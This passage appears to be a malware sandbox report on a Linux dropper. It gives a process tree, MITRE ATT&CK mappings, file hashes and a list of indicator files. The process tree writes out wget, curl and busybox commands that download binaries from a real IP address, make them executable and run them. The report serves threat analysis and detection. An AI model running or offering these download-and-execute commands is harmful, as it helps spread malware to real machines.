- /bin/rm
  rm XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
  2⤵
  PID:891
- /usr/bin/wget
  wget http://87.120.84.230/bins/jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
  2⤵
  PID:892
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:893
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
  2⤵
  PID:894
- /bin/chmod
  chmod 777 jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
  ./jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
  2⤵
  PID:897
- /usr/bin/wget
  wget http://87.120.84.230/bins/XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M
  2⤵
  PID:898

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ

Path /tmp/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ	679	XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
/tmp/jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1	689	jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1
/tmp/ekoIDag2IrendezgvRAX8H4MvHggSiH31v	711	ekoIDag2IrendezgvRAX8H4MvHggSiH31v
/tmp/qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6	739	qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
/tmp/Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5	750	Akt3SmYE1yJUniTp4qSnA4mTwAHM6ZsrR5
/tmp/lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT	770	lYco0C5yriUtJuYiJXGWNob4cNWwcChOKT
/tmp/XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M	792	XECkG1kmoIxr0MTmdoVnZUSdT5snBRBy5M
/tmp/jOzMYLHbxyt0kils26CsOKO81vlByx9Cub	798	jOzMYLHbxyt0kils26CsOKO81vlByx9Cub
/tmp/OESnKxfsceE83uK3qyhjMDf2qeykBknq50	804	OESnKxfsceE83uK3qyhjMDf2qeykBknq50
/tmp/B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr	810	B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
/tmp/IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead	816	IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
/tmp/E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA	822	E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
/tmp/F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf	828	F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
/tmp/ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF	834	ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
/tmp/IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead	840	IGmSlx5LutgSNWTCx8lNf3IJNptDMjyead
/tmp/E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA	846	E6E5q9KAaVamGO2OjqIdGsBCrZzH74QYEA
/tmp/OESnKxfsceE83uK3qyhjMDf2qeykBknq50	854	OESnKxfsceE83uK3qyhjMDf2qeykBknq50
/tmp/B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr	860	B76FNq2p1U6lIJhCOLQYRO8K2xf4wxLITr
/tmp/F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf	866	F41lCpIcaN1MZ23Jca6FQy69MNj58hwvLf
/tmp/ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF	872	ns0YQY8mHXo2vdg5BKxjt7El3EglwBj1OF
/tmp/ekoIDag2IrendezgvRAX8H4MvHggSiH31v	878	ekoIDag2IrendezgvRAX8H4MvHggSiH31v
/tmp/qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6	884	qKsJYqqaHgT1juaVgVU4EiWoIti1A8Y2I6
/tmp/XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ	890	XYHklBiqfujIKoRXay6HBx7UXGt0nfCNIZ
/tmp/jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1	896	jlyvvLRrfT35bcmWehYNHktXUdfkPHsnX1

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads